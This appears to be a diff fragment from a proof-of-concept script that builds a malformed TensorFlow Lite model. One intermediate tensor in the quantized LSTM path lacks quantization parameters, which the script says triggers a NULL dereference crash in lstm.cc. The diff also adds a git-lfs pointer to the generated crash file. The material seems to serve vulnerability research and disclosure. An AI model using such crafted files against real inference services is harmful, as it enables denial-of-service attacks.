+ # Build buffer tables
393
+ bufs = []
394
+ for buf_idx in range(26):
395
+ if buf_idx in data_vecs:
396
+ b.StartObject(1)
397
+ b.PrependUOffsetTRelativeSlot(0, data_vecs[buf_idx], 0)
398
+ bufs.append(b.EndObject())
399
+ else:
400
+ b.StartObject(1)
401
+ bufs.append(b.EndObject())
402
+
403
+ b.StartVector(4, 26, 4)
404
+ for buf in reversed(bufs):
405
+ b.PrependUOffsetTRelative(buf)
406
+ buffers_vec = b.EndVector()
407
+
408
+ # =========================================================================
409
+ # Model (root table)
410
+ # =========================================================================
411
+ b.StartObject(8) # Model: 8 fields
412
+ b.PrependUint32Slot(0, TFLITE_SCHEMA_VERSION, 0) # version
413
+ b.PrependUOffsetTRelativeSlot(1, opcodes_vec, 0) # operator_codes
414
+ b.PrependUOffsetTRelativeSlot(2, subgraphs_vec, 0) # subgraphs
415
+ b.PrependUOffsetTRelativeSlot(4, buffers_vec, 0) # buffers
416
+ model = b.EndObject()
417
+
418
+ b.Finish(model, b"TFL3")
419
+ buf = bytes(b.Output())
420
+
421
+ with open(output_path, 'wb') as f:
422
+ f.write(buf)
423
+
424
+ print(f"[+] Model written: {output_path} ({len(buf)} bytes)")
425
+ print(f"[+] LSTM config: n_batch={n_batch}, n_input={n_input}, "
426
+ f"n_cell={n_cell}, n_output={n_output}")
427
+ print(f"[+] 12 intermediate tensors (8x8->8 quantized LSTM path)")
428
+ print(f"[+] intermediate[0] has NO quantization params -> NULL deref")
429
+ print(f"[+] Bug location: lstm.cc PopulateQuantizedLstmParams8x8_8()")
430
+ print(f"[+] auto* params = reinterpret_cast<TfLiteAffineQuantization*>(")
431
+ print(f"[+] intermediate->quantization.params); // NULL!")
432
+ print(f"[+] params->scale->data[0]; // SIGSEGV")
433
+
434
+
435
+ if __name__ == "__main__":
436
+ out = os.path.join(os.path.dirname(os.path.abspath(__file__)),
437
+ "poc_lstm_null_deref.tflite")
438
+ create_poc_model(out)
poc_lstm_null_deref.tflite ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:92b6873916f14d3f918f5ca46e55a4cb713e9087c51d2b823211a0a0e7c1c7a4
3
+ size 2224